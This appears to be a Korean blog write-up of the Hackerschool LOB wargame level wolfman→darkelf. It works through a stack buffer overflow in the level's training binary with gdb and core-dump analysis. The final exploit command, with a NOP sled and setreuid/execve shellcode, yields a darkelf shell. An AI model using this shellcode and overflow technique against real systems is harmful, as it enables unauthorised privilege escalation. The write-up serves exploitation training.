본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( wolfman -> darkelf ) by ORANG

LOB_wolfman

 

 [wolfman@localhost wolfman]$ ls

darkelf  darkelf.c  tmp

[wolfman@localhost wolfman]$ bash2

[wolfman@localhost wolfman]$ cat darkelf.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkelf

        - egghunter + buffer hunter + check length of argv[1]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}

 

bash2 띄우고~ 힌트를 보니니 이전 문제에 argv[1]의 길이를 체크하는 부분이 추가되었네요

argv[1] > 48일경우 오류 메세지 출력 + 종료 합니다.  RET에는 여전히 접근 가능하겠네요

argv[2]를 사용하는데에 전혀 문제가 없으므로 이번에도 argv[2]를 사용하겠습니다~~

 

먼저 gdb분석 후에 메모리 구조를 그려보면..

 (gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>: push   %ebp

0x8048501 <main+1>: mov    %esp,%ebp

0x8048503 <main+3>: sub    $0x2c,%esp

…생략…

0x80485e6 <main+230>: mov    (%eax),%edx

0x80485e8 <main+232>: push   %edx

0x80485e9 <main+233>: lea    0xffffffd8(%ebp),%eax

0x80485ec <main+236>: push   %eax

0x80485ed <main+237>: call   0x8048440 <strcpy>

…생략…

 

main +3을 보면 44바이트의 메모리를 확보합니다. 이전 문제와 구조가 같겠네요

 

argv[2]

argv[1]

argv[0]

argc

RET [4]

SFP [4]

buffer [40]

i [4]

 

이번에도 main+237에 브레이크 포인트를 걸고, edx(argv[1] 주소) 근처 메모리를 보겠습니다.

 (gdb) b * main+237

Breakpoint 1 at 0x80485ed

(gdb) info reg

The program has no registers now.

(gdb) r `perl -e 'print "\xbf"x48'` `perl -e 'print "A"x60'`

Starting program: /home/wolfman/tmp/darkelf `perl -e 'print "\xbf"x48'` `perl -e 'print "A"x60'`


Breakpoint 1, 0x80485ed in main ()

(gdb) info reg

eax            0xbffffa70 -1073743248

ecx            0xffffffce -50

edx            0xbffffbfa -1073742854

ebx            0x401081ec 1074823660

esp            0xbffffa64 -1073743260

ebp            0xbffffa98 -1073743208

…생략…

(gdb) x/40x $edx

0xbffffbfa: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf

0xbffffc0a: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf

0xbffffc1a: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf

0xbffffc2a: 0x41414100 0x41414141 0x41414141 0x41414141

0xbffffc3a: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffc4a: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffc5a: 0x41414141 0x41414141 0x41414141 0x00000041

0xbffffc6a: 0x00000000 0x00000000 0x00000000 0x00000000

 

argv[2]의 시작 주소는 0xbffffc2b이네요ㅎㅎ gdb 상에서의 메모리와 실제 메모리 사이의 오차가 있을 수 있으므로 nop을 넣어준후 넉넉하게 0xbffffc3a로 공격해보겠습니다!

 

 [wolfman@localhost tmp]$ ./darkelf `perl -e 'print "A"x44, "\x3a\xfc\xff\xbf"'` `perl -e 'print "\x90"x50, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:

Segmentation fault (core dumped)

 

쿨하게 실패한 관계로 core를 분석해 보겠습니다.

 

 [wolfman@localhost tmp]$ gdb -c core

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux".

Core was generated by `./darkelf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: '.

Program terminated with signal 11, Segmentation fault.

#0  0xbffffff8 in ?? ()

(gdb) info reg

eax            0x8048471 134513777

ecx            0x0 0

edx            0x8048450 134513744

ebx            0x3 3

esp            0xbffffa60 -1073743264

ebp            0xbffffa94 -1073743212

…생략…

(gdb) x/120x $ebp

…생략…

0xbffffb74: 0x00000000 0x00000000 0x00000000 0x36690000

0xbffffb84: 0x2e003638 0x7261642f 0x666c656b 0x41414100

0xbffffb94: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffba4: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffbb4: 0x41414141 0x41414141 0xfffc3a41 0x909000bf

0xbffffbc4: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffbd4: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffbe4: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffbf4: 0x31b0c031 0xc38980cd 0xc031c189 0x80cd46b0

0xbffffc04: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e

0xbffffc14: 0x89e18953 0xcd0bb0c2 0x00000080 0x00000000

0xbffffc24: 0x00000000 0x00000000 0x00000000 0x00000000

 

0xbffffbc2부터 argv[2]가 시작되는군요 gdb로 처음에 찾았던 메모리와 105바이트나 차이가 납니다. 메모리 주소가 이렇게 많이 차이나는 이유는 모르겠습니다.. 나중에 공부하다 알게되면 추가하겠습니다.

 

우선은 주소를 수정한 다음에 다시 공격해볼까요??

 

 [wolfman@localhost tmp]$ ./darkelf `perl -e 'print "A"x44, "\xc2\xfb\xff\xbf"'` `perl -e 'print "\x90"x50, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bash$ id

uid=505(wolfman) gid=505(wolfman) groups=505(wolfman)

bash$ exit

exit

[wolfman@localhost tmp]$ cd ..

[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "A"x44, "\xc2\xfb\xff\xbf"'` `perl -e 'print "\x90"x50, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bash$ id

uid=506(darkelf) gid=505(wolfman) egid=506(darkelf) groups=505(wolfman)

bash$ my-pass

euid = 506

kernel crashed

 

 

복사본에서 공격 성공을 확인하고, 원래 파일을 공격하여 darkelf의 셸을 획득했습니다!